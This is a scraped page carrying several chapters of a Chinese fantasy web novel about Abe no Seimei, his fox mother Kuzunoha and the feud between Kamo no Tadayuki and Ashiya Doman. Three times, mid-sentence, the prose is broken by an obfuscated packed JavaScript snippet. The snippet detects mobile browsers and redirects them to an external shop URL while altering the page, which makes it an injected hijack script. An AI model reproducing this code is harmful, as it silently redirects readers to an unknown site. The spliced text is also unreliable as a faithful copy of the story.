不能再让晴明为了两个已死之人继续作践自己了,再年轻的身体也禁不住这样糟践。 打晕这种方法简单粗暴,但也治标不治本。 贺茂忠行没办法替晴明解决这个问题,有些事情,不是靠人帮忙就能解决的。 说得更残酷一些,逝者究竟是会成为生者的阻碍还是会激励生者前行,这完全取决于生者的选择。 贺茂忠行抱起晴明回了屋,这个孩子现在最需要的就是好好睡一觉,这些天里,他太累了。 而他只有十一岁啊。 事实证明,晴明比贺茂忠行想象的要理智很多,或者说是陡遭突变,让晴明迅速地成熟了起来, 他只迷茫了几天就去向贺茂忠行辞行,说要去把父亲离世的消息告诉他的母亲,可能还要在平安 京附近的地方走走,归期不定。 贺茂忠行让他去了。 贺茂忠行原本还担心晴明会头脑一热跑去找卢屋道满拼命,卢屋道满此人心黑手辣,如今为了打倒贺茂忠行更是无所不用其极,连贺茂忠行自己都忌惮他三分,晴明显然根本不是那只老狐狸的对手。 还好,晴明没那么冲动。 安倍益材不希望晴明去复仇,一来是仇恨实在是一种太过于沉重的东西,他不希望自己的儿子背负着这种东西长大,而二来,便是因为担心晴明会因此而受到伤害。 他用自己的命换来卢屋道满一诺,便是为此了。 目前看来,晴明似乎真的听了他父亲的话,没去找过卢屋道满的麻烦。 就像他从前一直都很听他父亲的话,按照他父亲的意愿隐藏自己的特异之处。 晴明拒绝了保宪要陪他一起出门的好意,独自收拾了东西,离开了平安京。 他第一个要去的地方,是明美生前埋骨的那片树林。 他通过占卜,知道了明美两次死亡的原因,也知道明美为了替他报仇究竟付出了什么。 现在,该轮到他帮她们入殓了。 在那堆早已被撕扯踩烂的骸骨里,晴明找到了一颗小小的人类头骨,可能是明美的,也可能是另一个死在这里的可怜孩子的,时间过得太久了,或许连明美自己都记不得自己究竟死在了多少年前。 而这一切,都随着明美灵魂的彻底消亡,全部逝去了。 晴明收拢了那些骸骨,用丝绸包裹着,埋到了地下。 继续这样风化着总归不好,想来,明美也不会喜欢自己的骨头就这样暴露在外。 风葬是一回事,但是如果她们原本就是死于野兽口中,那就是另一回事了。 16. 第十六章:葛叶之森 葛叶离开的时候晴明年纪尚小,但不知为什么,葛叶临走前对晴明说的那几句话一直烙印在晴明的记忆里。 或许这又是某种咒的作用。 信太森林,葛叶之森。 晴明以前从没来过这个地方,但是他好像天生就知道该怎样走似的,这就是葛叶走之前说的,“你的灵力会为你引路”了。 晴明在信太森林的深处停下脚步,他这些年来已经跟贺茂忠行学到了不少,自然分辨得出来,这附近被人布下了结界,而且结界上萦绕的灵力似曾相识。 晴明四处转了转,发现这个结界所笼罩的地域并不大,甚至比平安京里,他和父亲曾一起居住过的宅院还要小些。 晴明试着触了触结界,它没有拒绝他,很是温柔地容纳了晴明,就像母亲毫不设防地朝她的孩子敞开了怀抱。 晴明不再犹豫,大步跨进了结界中。 这片森林极其繁茂,高大的树冠隐天蔽日,几乎照不进一丝阳光,人类在巨树的映衬下显得格外渺小,很容易叫人生出敬畏之心。 人类从来都不是自然界的征服者,无论是过去还是现在。 晴明敢确定,他的母亲葛叶必然就生活在这个小结界中,但是在这种地方要找一只擅于隐匿自己的白狐又谈何容易! 不过,当他走进葛叶的结界的时候,葛叶必然就已经发现了他。 他不需要费心思去找,只要等着葛叶过来找他便可以了。 晴明靠在一棵树结实的树干上,合眼休憩,没过多久,他便感觉到有东西在飞快地接近。 那个未知的东西卷挟起了一阵阴寒的风,好像一下子冷到了心里,给人的感觉极不舒服。 即使心中早已有了底,晴明还是被这股风震慑住了,他本能地睁开了眼睛。 他起初甚至没明白出现在自己眼前的东西是什么,因为一片纯白色完全覆盖住了他的视线,那东西看起来有一点像是一块巨大的雪白色毛皮。 他过了好一阵,才弄明白自己究竟是看到了什么。 他看到了一只巨大的白狐。 它的身躯极为庞大,身段却极其柔软,身上的皮毛好像上好的缎子一般闪耀着光泽,它跑动的动作就像一只优雅的猫。 白狐如鬼魅一般欺近了晴明,它抬起一只爪子,轻轻松松就把晴明按在了树干上,尖嘴巴微微张开,露出里面尖利的獠牙,它压低了声音,显得很具威胁性:“阴阳师,嗯?” 晴明平日里穿惯了狩衣,这次出门也不例外,但他可没想到自己会被葛叶误会成来找麻烦的阴阳师。 不过这倒也难怪葛叶,毕竟她已经有六年没见过晴明了,孩子的模样变化得又快,她认不出晴明来也不是什么奇怪的事。 “母亲大人,我是晴明!”晴明连忙说明身份,如果他今天误被葛叶杀死,那未免也太倒霉了些。 “晴明?”白狐还有些半信半疑,但它立刻松开了爪子。 葛叶原本就不是什么实力强大的妖怪,而晴明这些年受了贺茂忠行的教导,早就学会了遮掩自己身上的妖气,因此葛叶也根本没发觉他们二人身上的气味相似。 至于葛叶布下的结界,它则是直接把晴明当作了葛叶本人,因为他们的灵力的相似程度极高,结界本身没有神智,分辨不出二者之间的区别。 为了证明自己的身份,晴明便不再去控制自己的妖气了,两只尖尖的狐耳从发间露出,顶歪了头上的乌帽,同时还有足足九条狐尾从晴明身后冒了出来。 就算葛叶认不出他的脸,也该能认出这股同出一脉的妖气。 葛叶吃了一惊,连忙后退半步,收回了自己的狐形,重新变回了晴明曾经最熟悉的那个女人相貌。 “晴明?真是你?你怎么来了?”葛叶想去摸晴明的脸,又犹豫着不敢伸手,急急问道:“是有人为难你吗?” “不,不是的。”晴明摇了摇头,看着面前既熟悉,又陌生的女人,拿不准自己该不该就这样直接把父亲的死讯说出来。 但是无论如何,这件事情葛叶总还是应该知道的。 而这种事情也实在没有什么更委婉的表达方式。 所以晴明最后还是说出了口:“父亲去世了。”他没说得太详细,他不想再多提了。 反正他已经决定了要去报仇的,又何必多说什么。 出乎晴明的意料,葛叶对这个消息的反应很平淡,好像完全不在意自己的丈夫是不是还在人世似的:“哦,是吗?” 晴明不是很能理解葛叶冷淡的态度。 明明他们是相爱的不是吗? 葛叶似乎察觉了自己儿子的情绪不好,主动解释说:“你在人类中间生活得太久了,或许没办法理解这一点,但在我们看来,死亡是一件很平常的事情。这片森林里,死亡每天都在发生,你可能随时都会失去你的亲人、好友,但是你没时间为他们哀悼,因为也许下一刻,你自己也要面临灭顶之灾。” “可是……”晴明还想辩驳什么,却被葛叶打断了:“如果你也曾经惶惶不可终日,也曾经躲避过猎人和天敌的猎捕,那样的话你就会明白了。亡故之人已经死了,但是生者还要继续活着,如果一味沉湎于怀念过去,最后你只会害死你自己。” 葛叶毕竟是妖,而且还以普通野狐的身份在森林里生活过许多年,她的思维方式自然与人类有着天壤之别。 晴明不说话了,尽管他还是不太能够接受葛叶的说法。 “这也就是为什么当年我没有带着你一起走的原因了。”葛叶又说,深深地叹了一口气:“别怨恨我,晴明,并不是我不肯要你,而是这种生活太艰难了,天敌、猎人,或许现在还要加上阴阳师,他们都会威胁到我们的生命。” 葛叶原本只是一只稍稍有些灵性的白狐,但以她的天赋,要化成人身还需要很多年才行。 直到十多年前,她误踩入了卢屋道满的陷阱。 那是她的劫,却也是她的机缘。 她慌不择路,窜进了稻荷神御馔津的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16460591|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 社,神社门前矗立着两尊狐狸的雕像,她便寄希望于神明庇佑。 同样也在神社里许愿的安倍益材救了她,把她藏了起来,自己却挨了一顿揍。冲进来找狐狸的猎人们认定是安倍益材私藏了白狐,却遍寻不着,暴怒之下,狠揍了安倍益材一顿。 她躲在稻荷神的神像后面,想着自己如果可以化身成人,那就好了,至少可以帮一帮救了自己的恩人。 就在她这样想的时候,神像似乎忽然动了,怀抱着狐狸的慈悲的女人好像摸了摸自己怀里狐狸的脑袋,狐狸原本眯得细细的眼睛睁开了一点。 但当她定睛细看的时候,神像还是原本的样子,仿佛刚刚的变化只是她的错觉。 她又探了探头,确认猎人们都走远了,这才踮着四只脚,从神像后面小心地走出来。 这一走,她才发现问题,她原本布满雪白色长毛的前爪没有了,取而代之的是两只光洁的、人类的手。 她很不习惯地抓握了几下,扭过头去检查自己的身体,她这才意识到,自己变成了人类。 难道真是稻荷神听到了她的愿望? 她没来得及多想,笨拙地站起来,跌跌撞撞地朝安倍益材跑过去,她还没有完全习惯像人类一样用两条腿走路,还好这个时候的安倍益材意识模糊,没发觉她的异常。 她替安倍益材处理好了浑身的伤痕,然后坐在那儿等他醒过来,在这段时间里,她检查了一下自己的妖力,发现妖力并没有增强多少,就妖力而言,她仍然是之前那个稍微有一点灵性的白狐。 那就一定是稻荷神助她了,她在稻荷神的神像前跪下来,虔诚地拜了拜。 安倍益材醒过来之后,第一句话便是问她的名字。 白狐自然是没有名字的,她望着神社外生长得纠缠盘绕的青藤,撒谎说,她叫葛叶,是住在森林里的山民。 安倍益材离开之后,葛叶在森林深处重新化为狐身,却发现自己的尾巴多了整整八条。 稻荷神把她变成了九尾狐。 九尾狐天生高贵,生来就是人身。 这大概就是她可以化为人形的原因了。 葛叶原以为她与安倍益材缘尽于此,但她没想到的是,没过多久,安倍益材又来了,他在神社周围徘徊,大声喊着“葛叶”这个随口编出来的名字,试图找到她。 葛叶躲在草丛里,看着那个打扮一新的年轻人。 她不太懂人类的穿着,但是无端地觉得他穿起这样的衣服很好看。 葛叶化成女人的模样,从森林里走了出去。 接下来的一切,就很顺理成章。 他们后来又在森林里见了几面,再后来,安倍益材提出要娶她为妻,要带她去繁华的“风雅之地”,平安京。 葛叶犹豫了一下,答应了。 她想,她是妖,而他是人,那又有什么关系?只要她好好把这件事情瞒住,谁也猜不出她的身份的。 可是这里唯一的变数,就是她的儿子,晴明。 17.第十七章:再次祓禊 葛叶跟着安倍益材去平安京的时候,她绝没有想到,第一个认出她身份的,竟然是她的儿子晴明。 白狐之子天生灵力,要看穿妖的真身自然不是难事。 葛叶身份暴露,于是抛下了丈夫和幼子,回到了她出生的那片森林。 在平安京里生活了五六年,可她还是觉得森林更自在些。 毕竟她除了可以化身为人之外,实际上和普通的狐狸并没有多大分别。 回到森林之后,葛叶很少再想起安倍益材。 这实在不能怪妖怪无情,而是在动物之间,离离分分是很平常的事,没什么值得挂念的。 葛叶在森林深处设下了一个结界,这样一来,一旦有人接近这里,她就能立刻察觉到。 被猎人追捕过一次之后,她实在是怕了。 她在结界里画地为牢,虽然无趣了些,但胜在平静,并没有人来打扰她的生活。 说起来,除了安倍益材又来找过她一次之外,第二个踏足她结界的人就是晴明了。 晴明叹了口气,既然葛叶不是很在乎安倍益材的死讯的话,那他也不用那么小心翼翼的了,索性全部说了出来:“我父亲是被人杀死的,对方也是个阴阳师,我想报仇,可我不是他的对手。” “阴阳师?”葛叶一愣,她只知道阴阳师会杀死妖,却从没听说过阴阳师也会杀人,当即联想到了自己身上,问道:“这件事情和我有关?” “不知道。”晴明摇摇头:“我也不想知道那个阴阳师有什么杀死我父亲的理由。无论如何,他杀了我父亲,这一点是不可能改变的。” 任何人都可以为自己的行为找到最合适的借口,但是借口只能博得同情,而绝不会改变他行为的性质。 葛叶微微点了点头,略沉吟一下,说:“我虽然是妖,但是这些年来一直都在这片结界里生活,并没见过什么阴阳师过来,更没有什么对抗阴阳师的经验,所以大概帮不上什么忙了。” “不过我想,或许你可以去找这附近的妖怪或鬼试试,我不懂阴阳术,但是大概实践是最好的练习手段。”葛叶继续说:“我可以跟着你一起去,虽然我不擅长打斗,但是九尾狐的身份还是可以震慑住一些小妖怪的。” “不必了。”晴明摇头:“我原本也没有要请您帮忙的打算,我来这儿只是觉得父亲的事情应该通知您一声,仅此而已。” 他与葛叶已有六年未曾见面,即便是母子,也难免关系生疏。 葛叶叹了口气,然后忽然像是又记起了什么似的,说:“先别走,在这里等我一会儿,我有件东西要给你。” 说着,葛叶又把自己化成了白狐,不过这一次,她的体型没有那么庞大,而是变成了普通狐狸的大小,除了身后摇曳的九条尾巴之外,完全看不出它和寻常白狐的区别。 白狐灵活地在林间腾挪跳跃,不一会儿就不见了。 这片森林的确是自然生灵的天下。 晴明重新靠到了树干上,深深吸了口气。 他确实没办法接受葛叶关于“死亡”所说的那些话,他作为人类生活了十一年,现在忽然要让他按照妖的方式理解事物,这原本就不是一件容易的事。 但是他现在没有心思去想他母亲到底是对是错,他满脑子都是卢屋道满和他父亲的事。 仇恨啊。 葛叶回来得很快,悄无声息地接近了晴明之后就立刻化为了人形,倒把晴明吓了一跳。 “这个你拿着,是我捡来的,上面附着驱鬼的咒印,或许对你有用。”葛叶手里拿着一条项链,上面穿着五枚白色的勾玉,勾玉大小不一,排在中间那枚最大,长度大约与手指相当,其余次之。 那勾玉的材质有些奇怪,外观晶莹润滑,不太像是普通的白色岩石,摸起来很冷,仿佛怎么也捂不暖似的,而且它给人的感觉…… 只不过是一种模模糊糊的感觉而已,好像这勾玉极其不详。 但是上面又的的确确附有驱鬼用的咒印,这就极其矛盾了。 葛叶用两只手撑开项链,替晴明挂在了脖子上,又轻轻拍了拍晴明的胸口,长长舒了口气,好像这样就能放心了一样。 晴明被勾玉上附着的强烈的不详意味镇得抖了抖,他一向对这些东西很敏感,但是勾玉上的驱鬼咒印却是做不得假的,更何况他相信他母亲不会害他。 所以晴明没拒绝葛叶为他带上项链的举动。 “去吧。”葛叶说:“阴阳师的事,我帮不上忙,但是我会一直在这里等你,日后如果遇到麻烦,至少你还可以回到这里来。” “我知道了。”晴明深深朝葛叶鞠了一躬,这就算是辞别了。 接下来又是三年,晴明一直孤身在外。 春光里的花、夏日里的风、秋天里的红叶、冬季里的雪,他都见过了,每当他踌躇不定的时候,便会去看一看它们,好像父亲一直未曾离开。 而在平安京里,这三年中,贺茂忠行和卢屋道满之间的斗争从来都没有平息过。 若论占卜和阴阳术,两人不分伯仲,但是如果要论心机和手段,那么贺茂忠行完全不是卢屋道满的对手。 阴阳师因为其职业的特殊性,欺世盗名之人最多,这样的人若只是替人占卜一下吉凶倒也罢了,但如果雇主家中真的妖鬼作祟,而他们不慎请来了一个实际上对阴阳术一窍不通的“阴阳师”来驱鬼,那种情况可就会真的害死人的。 所以贺茂忠行一向最厌恶这种人,他自恃真才实学,从来不与其他阴阳师交往。 而时间一长,就渐渐传出了“贺茂忠行恃才傲物”的流言。 这种流言若是放在平常,倒也不碍事,人们总是对强者的高傲有更高的容忍度,甚至还会认为他们高傲是很自然的事。 但是如果在这个强者的身边,又出现了另一个人,一个并不高傲,又足够强大的人,那么情况就大不一样了。 人们会不自觉地把他们两个人放在一起比较,到了这个时候,高傲的那一个自然成了更不受欢迎的那一个。 普通人不懂阴阳术,但是他们丰富的想象力却足以替他们完成一切。 许多人都喜欢看到骄傲的人被打下神坛,不是吗? 而不知卢屋道满是不是注意到了这一点,总之,他似乎是有意识地经常与其他阴阳师们交谈,表现出一副完全无害且又风趣幽默的样子,渐渐地,他成功取得了阴阳师们的支持。 阴阳师们讨厌那个与他们格格不入的贺茂忠行已经很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16463331|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久了,借着这个机会,他们难得地达成了一致。 而与此同时,卢屋道满也慢慢取得了天皇的信任,在那些阴阳师和贵族们的帮助下。 最直接的证据,就是天皇把每年一次的祓禊仪式的主持任务交给了卢屋道满。 而这往年都是贺茂忠行负责的事务。 贺茂忠行在平安京中的地位岌岌可危,贵族们私下里都等着看贺茂忠行的笑话。 卢屋道满举行祓禊仪式的当天,贺茂忠行也去了,站在一边旁观,脸色不太好看。 这也难怪,毕竟卢屋道满后来者居上,抢了他的位置。 但是随着仪式的进行,贺茂忠行渐渐皱起了眉毛。 按照常理来说,祓禊的仪式只需要施展阴阳术召唤出附近的妖鬼,再设法令它们吃下祭品就可以了。 往年贺茂忠行以自己的灵血为祭,效果还算不错。 但是卢屋道满…… 他这是在做什么啊? 卢屋道满好像根本没有劝诱妖鬼吃祭品的打算,而是笑吟吟地朝着妖鬼聚集最多的地方点了点头,像是在向妖鬼致意,然后低声念起了咒语。 贺茂忠行所站的位置距离卢屋道满有些远,听不清他在念叨什么,但是就在卢屋道满吐出最后一个字的同时,一道极刺眼的金光骤然把群妖百鬼全部笼罩在了里面。 封印! 他究竟想做什么? 贺茂忠行的疑惑很快就有了答案,只见卢屋道满一边从衣袖中取出了一张白纸剪成的动物,一边向天皇深深一鞠躬,笑容中似乎带着些唯恐天下不乱的味道。 他说:“以我平安盛世,怎容得妖鬼在此肆虐?不如都杀了,以儆效尤。” 说着,他把白纸往天上一抛,那白纸望风便长,身躯不断变大,等到落地之时,已经变成了一只巨犬,虽然模样狞恶,但是似乎性情于普通的狗并没有太大区别,它蹲坐地上,吐着血红色的舌头。 周围距离较近的贵族骤然受了一惊,纷纷退却,卢屋道满纵声大笑,说:“各位莫慌,这是从小跟在我身边的式神,犬神。” 犬神听见主人唤它,歪着脑袋响亮地吠了一声,正似炸雷一般。 卢屋道满轻轻拍抚犬神胸前的长毛,他笑着,指了指金色的结界。 贺茂忠行一下子明白了卢屋道满要做什么。 难怪!难怪卢屋道满身为一个人类,竟然会带有如此深重的血腥气! 难怪犬神的身体会膨胀到这种程度!按照常理来说,犬神是狗死后化成的妖怪,体型应该与生前差不多才对! “等一下!”贺茂忠行忍不住了,高声制止。 可是已经晚了,犬神兴奋地哈着气,扑到了结界里面,那里随之响起了妖鬼的惨嚎声。 贺茂忠行缓缓放下了抬起的手,深深叹了口气。 很多阴阳师都认为,妖鬼非我族类,自然是全部杀绝了才好,但贺茂忠行从来都不这样想。 妖与鬼,不过是思维模式与人类不同而已,更何况很多妖鬼都是由人类变化来的,何必非要赶尽杀绝呢? 而在这些愿意应召而来的妖鬼中间,更有许多诸如明美之类的良善者,卢屋道满做这种事,恐怕不会招来善果的。 18.第十八章:封印天狗 当犬神从封印里走出来的时候,它的身躯又变大了几分,它吐着舌头,颠颠地跑到主人身边,歪着脑袋讨赏。 贺茂忠行深深叹了口气,在骤然响起的欢呼声中,他悄悄避开了人群,独自回家去了。 不用想也知道,卢屋道满今天搞这么高调的一出,必然会得到更多人的支持。 但是如果真的按照卢屋道满所说的,只要杀死妖鬼就能让平安京从此平安的话,那他这些天里所看到的星象又要怎么解释呢? 代表着平安京的那片星空越来越晦暗难明,这可不是什么平安盛世的预兆。 可是他看见了,又有什么用呢? 在这个时候,谁会相信他呢? 所有人都沉浸在虚假的、平安盛世的美梦中,谁会愿意醒来呢? 他若是再说些什么不合时宜的话,那么或许他就连最后的一点地位也保不住了。 贵族们不懂阴阳术,可就是这些人,能够轻易决定一个阴阳师的生死。 他从来不畏惧什么妖鬼,可是终究人言可畏。 所以最后,贺茂忠行什么也没说。 没有人再找他驱鬼,那他就专心教授他的儿子阴阳术,时不时占卜一下他另一个弟子——晴明的近况,知道晴明一直没有遇到什么生命危险,也就放下了心。 让那个孩子独自出去走走,也是好的,每天有些事做,总比一个人全部闷在心里强。 贺茂忠行不想再管卢屋道满的事,实际上他对此也无能为力,在卢屋道满一直极力营造的氛围下,已经没有人愿意听他的话了,他的权力已经完全被架空,现在就连一直支持他的藤原兼家也持着观望的态度,显然是在打算放弃他了。 所以当卢屋道满向天皇上奏,打算去封印天狗的时候,贺茂忠行并没有理会。 也就因此,而错过了一场好戏。 天狗是一种极其傲慢的妖怪,相传,它们是由修行尚浅、态度傲慢的僧人死后化身而成的。 它们面色赤红、高鼻黑目,身材与人类相似,但它们极其高大而且背后长着一对庞大的、乌鸦似的翅膀。它们经常打扮得像个武士,身穿盔甲,手里拿着用自己的羽毛制成的羽扇,腰间还配有修长弯曲的武 士刀,脚下穿着木屐,平日里就像人类一样在山中行走,很少离开它们居住的深山。 平日里,天狗会保护山林,算是善妖,但每当满月之时,天狗就会离开山林,性情大改,捕捉人类为食。 这也就是卢屋道满要去封印天狗的原因了。 近日平安京里“神隐”事件频发,“神隐”意为“被神明藏起来了”,所有原因不明的失踪事件都被认为是“神隐”。 而卢屋道满经过占卜,得知这些神隐事件都是住在那智山里的天狗在搞鬼,前不久正是满月,这也为卢屋道满的占卜提供了佐证。 但是天狗并不是那么容易对付的,它们的武 士刀可不仅仅是摆设而已,更何况它们随身带着附有灵力的蓑衣,只要披上蓑衣,它们就可以把自己隐藏起来,寻常人根本找不到它们的行迹。 卢屋道满当然不是等闲之辈,天狗的小技俩自然瞒不过他,但是保险起见,他带上了一队武士,陪着他一同进山。 他带这些武士一半是为了保险,而更重要的原因则是,他需要这些武士为他宣扬他封印天狗的事迹。 他向来都不是古道热肠的性格,做这些的唯一理由当然是有利可图。 这只天狗将替他立威,像祓禊仪式上的那些妖鬼一样,成为他路上的垫脚石。 而贺茂忠行永远也学不会这一点,所以他败给了卢屋道满。 到了山里,在犬神的帮助下,卢屋道满很快就找到了天狗的踪迹,在它们没有披上蓑衣之前,还是不难追踪的。 而犬神正是最擅长追踪的那一类妖怪。 不过稍稍有点奇怪的是,在天狗身边,他还窥探到了另一种妖气,虽然很微弱,但他的直觉却告诉他,这种妖气不容忽视。 不过在山里妖鬼众多,不论出现什么都是很自然的事,所以卢屋道满也没有细想,横竖有犬神在这里,大概也没什么妖鬼可以威胁到他的生命。 就算真的有什么不测,那也大不了叫犬神派上它最后的用场,总之,他自己是不会轻易死去的。 武士们在前面开路,卢屋道满跟在后面悠哉游哉地走着,盘算着一会儿见到天狗究竟该怎样应付才能显出他的本事来。 若是一击毙命的话,或许有点太容易了,显不出凶险来。 但如果缠斗时间太长也不好,显得他好像太弱似的。 卢屋道满还没琢磨出个所以然,就听见了一阵怪异的声响。 像是人类的叫嚷,但这声音在山中久久回荡不散,武士们自然也听见了这阵怪声,犹疑不定地停下了脚步。 卢屋道满却精神一振。 幽谷响! 他们距离天狗已经很近了! 天狗在山中发出的声音被称作是幽谷响,它们的叫声与人类相似,但是扩散能力要更强一些。 而犬神也似乎闻到了什么,发出了焦躁不安的低吼声。 “走!天狗就在前面!”卢屋道满几步抢到武士前面,又继续往前走了一段路,果然见到了天狗。 不过…… 那只天狗身边,还站着另外两个人。 虽然距离较远,看不清那两个人的面貌,但是至少他们两人的身份很好识别,因为其中一个人身上穿着月白色的狩衣。 那人身量较矮,但也是个阴阳师。 有人捷足先登了? 卢屋道满气急败坏,但是当着那些武士的面,他也没办法做什么抢功的举动。 一个地势较高耸些的小土丘上,高傲的天狗此时单膝跪在了地上,黑色的鸦羽落了一地,羽扇和武 士刀掉在一边,他扬起脑袋,毫不闪躲地直视着将要封印它的那个阴阳师的眼睛。 天狗始终是骄傲的,即使它们失败了,也绝不容许自己失去尊严。 “你伤了人,那就没有办法了。”那个年轻的阴阳师竖起两根指头,抵在唇边,低声念咒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16466369|185398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快,金色的丝线便出现在了天狗身下,自动盘绕成形,呈现出五芒星的模样。 正是桔梗印! “急急如律!”晴明念出了咒语的最后一句,跪地的天狗随之身形一闪,连同它脚下的五芒星法印一起消失了。 好像什么都没有发生过一样。 晴明慢慢放下抵在唇边的手指,望着自己面前空空荡荡的土丘,对自己身边,作侍女打扮的女孩说:“我们走吧,樱。” 名字叫樱的女孩人如其名,模样如樱花一般娇俏,但不知为何,她的这种美总会让人联想到毁灭。 就像人们看到樱花的绚烂,总会想到它零落凋谢的光景一般。 樱很是乖巧地点了点头,足尖在地面上点了两点,谁也没看清她是怎么走下来的,只是一晃眼的功夫,樱便站到了土丘脚下。 晴明却对樱的举动没有任何异议,好像早就习惯了这种事情一般,他迟疑了一下,最后还是去捡起了天狗遗落的武 士刀和羽扇。 “晴明大人,这里还有别人。”樱的声音很是悦耳动听,似乎很温柔似的,但她的目光冷冷地盯视着卢屋道满和武士们的方向。 晴明正在检视天狗的武 士刀和羽扇,闻言便抬起头,往樱注视着的方向看了一眼,没太在意,说:“也是来封印天狗的阴阳师吧?毕竟它最近在平安京里伤了不少人命,阴阳师会过来也是无可厚非。不过……”晴明微微皱了皱眉,把武 士刀别在腰间,又把羽扇揣进了怀里。 他缓步走下土丘,越过樱,走向了卢屋道满,微微仰起头,问道:“请问,您是平安京的阴阳师吗?” 晴明没见过卢屋道满,自然认不出仇人。 而卢屋道满也未曾见过晴明,再加上晴明向来把自己的妖气收敛得很好,即便是卢屋道满也察觉不到这个十三四岁的少年阴阳师身上有什么不妥之处。 但卢屋道满刚刚被这个少年抢了功劳,原本就对他没什么好感,再加上这少年显然很精通阴阳术,竟让他生起了些微的嫉妒之心。 小小年纪就能独自封印天狗,这少年自然是天赋极高的那一类人了。 卢屋道满还没应答,身边的武士便热情地替他做了介绍:“这位就是平安京里的卢屋道满大人!” 其他武士也都围上来,七嘴八舌地提着建议:“那位大人待人最是和善,而且很喜欢帮其他阴阳师的忙,如果你想迁居平安京的话,可以请他为你引荐。” “是啊,他帮过不少阴阳师呢!” 武士们都把晴明当成了山民,毕竟目前住在平安京里的人,谁会不认识卢屋道满呢? 而这些底层的武士很少有贵族出身,在他们心目中,有才能的人自然不该被身份限制。 听着武士的话,晴明起先愕然,随后微微笑了笑,温声道:“好的,我会考虑的,谢谢你们。” 多讽刺啊,他的杀父仇人在这些人口中,竟像是个难得的好人。 不过他早就学会了收敛自己的情绪,但是当他再次看向卢屋道满的时候,目光难免多了些冷意。 19.第十九章:蛊惑 最后,晴明与樱随着武士们的队伍一起下了山,卢屋道满还是走在队伍的最后面,晴明便也放慢步伐,到了卢屋道满身边,状似无意地拍了拍自己腰间佩着的、天狗的武士刀,说:“这刀倒是不错,刚好可以带回去给家师作个伴手礼。” 卢屋道满这只老狐狸怎么会听不出晴明这话里的重点?当即便问道:“你的师傅是……” “贺茂忠行。”晴明微微眯了眯眼,像是笑了,这笑容却仅仅只是浮于表面,笑得极假,他几乎是一字一顿:“刚才我还没有向你介绍过自己,我是晴明,安倍晴明。” 晴明突然说出这话,原本是想看卢屋道满的反应,如果他惊慌失措,晴明就可以顺势在武士们面前揭露他的罪行。 但是晴明失望了,老狐狸毕竟是老狐狸,卢屋道满面色丝毫不改,还笑得满面春风,像个长辈似的拍了拍晴明的肩膀,笑道:“原来是你啊,倒是有三年多没见过你了,当年我记得还答应过你父亲,要好好照顾你的。” 卢屋道满特意着重强调了“好好照顾你”这几个字,这是在暗指他答应过安倍益材不对晴明动手这件事了。 但是晴明总觉得卢屋道满这话像是在暗示着什么,不过他一时还想不出卢屋道满到底还隐藏着什么样的深意。 而卢屋道满这种语气让晴明感到很恶心,但也只能吃了这个暗亏,因为当年卢屋道满杀死他父亲的时候,特意设计调开了他家里的仆人,导致现在根本没有任何人可以证明是卢屋道满杀了安倍益材。 占卜倒是可以得到他想要的结果,但问题是谁会相信根据一个不知真假的占卜所做出的指控呢? 所以晴明一时还拿卢屋道满没有办法。 不过…… 如果暗杀的话…… 不如赌一把,就赌“卢屋道满”这个名字就是那个人的真名。 樱是他的式神,如果利用樱去杀卢屋道满的话…… 晴明忽然冷静了下来,他又想起了明美。 如果樱能暗杀成功倒也罢了,可是一旦樱失败,那么她就即将面临和明美一样的命运。 而这种事是晴明绝不能允许的,他不会再让其他人为他而死了。 他意识到了自己刚刚究竟是在想多么危险的事情,他便打消了这个念头。 来日方长。 晴明冷着一张脸,快步走到了前面,不再同卢屋道满搭话了。 直到一行人回到了平安京,武士们各自散去归家,卢屋道满和晴明之间才又一次产生了对话。 而且是卢屋道满主动去找的晴明。 他脸上带着诡秘的笑容,扬声喊道:“晴明!” 他刚刚在路上一直在想一个问题,以晴明目前的表现来看,他大概是打算要替他父亲报仇的,但是有一点太不符合常理了。 那就是:晴明从头到尾都没有问过他为什么一定要杀死安倍益材。 一个决心要复仇的人难道不该把事情的来龙去脉全部弄清楚再去做决定吗? 这件事困扰了卢屋道满一路,不过他刚刚好像想通了一点。 其实也没必要非得去找晴明确认他的猜想,不过他一向是个唯恐天下不乱的人,而这件事情太有趣了,必须要弄清楚才行。 晴明原本没打算再理会卢屋道满,他急着回去看望他的师傅贺茂忠行,在他的印象当中,封印妖鬼这种事都该是贺茂忠行出面,而这次出现在那智山的却是卢屋道满,这让他很不安,疑心是不是师傅出了什么事。 但卢屋道满叫住了他,晴明皱了皱眉头,转过身去遥遥望着卢屋道满。 樱静静地立在晴明身边,对他们两人之间的暗潮汹涌不置一词,低垂着眼眸,好像自己只是一只做工精致的人偶。 